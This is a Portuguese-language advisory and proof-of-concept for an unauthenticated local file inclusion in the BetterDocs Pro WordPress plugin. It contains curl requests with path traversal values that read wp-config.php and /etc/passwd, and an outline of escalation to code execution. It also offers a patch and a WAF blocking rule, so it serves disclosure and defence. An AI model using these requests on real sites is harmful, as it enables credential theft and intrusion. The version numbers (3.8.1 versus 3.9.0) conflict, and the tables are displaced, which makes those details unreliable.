CVE-2026-7515: BetterDocs Pro <= 3.8.0 - Inclusão Local de Arquivo Não Autenticada

Visão Geral

Campo	Valor
CVE ID	CVE-2026-7515
CVSS Score	9.8 (Crítico)
CVSS Vector	AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Afetado	BetterDocs Pro <= 3.8.0
Corrigido	3.8.1
Pesquisador	Nguyen Ngoc Duc (duc193)
Publicado	18 de Junho de 2026
CWE	CWE-98: Controle Impróprio do Nome de Arquivo para Instrução Include/Require

Descrição da Vulnerabilidade

O plugin BetterDocs Pro para WordPress é vulnerável à Inclusão Local de Arquivo nas versões até, e incluindo, 3.8.0 através do parâmetro doc_style. Isso permite que atacantes não autenticados incluam e executem arquivos PHP arbitrários no servidor.

Análise de Taint: Fonte → Sumidouro

Fonte (Entrada do Usuário)

Arquivo: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php Linha: 141

// VULNERABLE CODE (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

Problema: A entrada controlada pelo usuário de $_POST['doc_style'] é usada diretamente sem nenhuma validação.

Sumidouro (Função Perigosa)

Arquivo: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php Linha: 195

betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
    'doc' => $doc,
    'excerpt' => $excerpt,
    'dictionary_learn_more_text' => $learn_more_text,
    'item_heading_tag' => $item_heading_tag,
]);

Problema: A variável $doc_style (controlada pelo usuário) é interpolada diretamente no caminho do arquivo passado para views->get(), que inclui o arquivo.

Fluxo de Dados

Requisição HTTP POST
        ↓
$_POST['doc_style'] = "../../../../../../wp-config"
        ↓
SEM VALIDAÇÃO (versão vulnerável 3.8.0)
        ↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
        ↓
Inclusão de Arquivo via include() ou require()
        ↓
Execução de Código PHP Arbitrário / Leitura de Arquivo

Diff: Vulnerável vs Corrigido

Versão Vulnerável 3.8.0

// Line 141 in includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

Versão Corrigida 3.8.1

// Line 145-148 in includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

Principais Diferenças

Endpoints AJAX Afetados

Ambos os endpoints se registram com hooks nopriv, o que significa que são acessíveis a usuários não autenticados:

// Line 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);

// Line 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);

Endpoints:

POST /wp-admin/admin-ajax.php?action=load_more_docs_section
POST /wp-admin/admin-ajax.php?action=load_more_docs

Prova de Conceito

Pré-requisitos

Um encyclopedia_nonce válido (encontrado no código fonte da página em páginas com o bloco BetterDocs Encyclopedia)

Exploração Manual

# Step 1: Read wp-config.php
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs_section" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../wp-config" \
  -d "page=1"

# Step 2: Read /etc/passwd
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../etc/passwd" \
  -d "page=0"

Encontrando o Nonce

O encyclopedia_nonce está exposto em JavaScript em páginas onde o bloco BetterDocs Encyclopedia é renderizado:

// In betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
    'site_url': '...',
    'ajax_url': '...',
    '_nonce': 'VALID_NONCE_HERE'  // <-- This is what you need
};

Caminho de LFI para RCE

Ler wp-config.php - Extrair credenciais do banco de dados
Fazer upload de shell PHP - Via upload de mídia do WordPress ou editor de temas
Incluir arquivo malicioso - Via vulnerabilidade LFI
Executar código - Obter execução remota de código

Impacto

Remediação

Correção Principal

Atualize para a versão 3.8.1 ou posterior do BetterDocs Pro

Correção Manual (se a atualização não for possível)

Aplique o seguinte patch em includes/Core/Encyclopedia.php:

// Replace line 141 with:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

Aplique a mesma correção na linha 236.

Regras de WAF (Mitigação Temporária)

Adicione regra para bloquear path traversal no parâmetro doc_style:

# Block doc_style with path traversal patterns
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
    "id:1001,phase:1,deny,status:403,msg:'LFI Attempt Blocked'"

Referências

Arquivos Analisados

Vulnerable Version: betterdocs-pro_3.8.0.zip
Patched Version:   betterdocs-pro_3.9.0.zip

Key Files:
- includes/Core/Encyclopedia.php    (VULNERABLE)
- includes/Core/Scripts.php         (Contains nonce generation)
- includes/Utils/Views.php          (File inclusion logic)

Validação	Nenhuma	Lista branca com `in_array()`
Valores Permitidos	Qualquer string	Apenas `doc-grid`, `doc-list`, `doc-list-2`
Verificação de Tipo	Não	Comparação estrita (`===`)

Confidencialidade	ALTO	Ler arquivos arbitrários (wp-config.php, /etc/passwd, etc.)
Integridade	ALTO	Modificar ou excluir arquivos
Disponibilidade	ALTO	Negação de serviço
Vetor de Acesso	Rede	Explorável remotamente
Privilégios	Nenhum	Nenhuma autenticação necessária
Interação do Usuário	Nenhum	Não necessária

By-Poloss..-..CVE-2026-7515-PoC

Mais Populares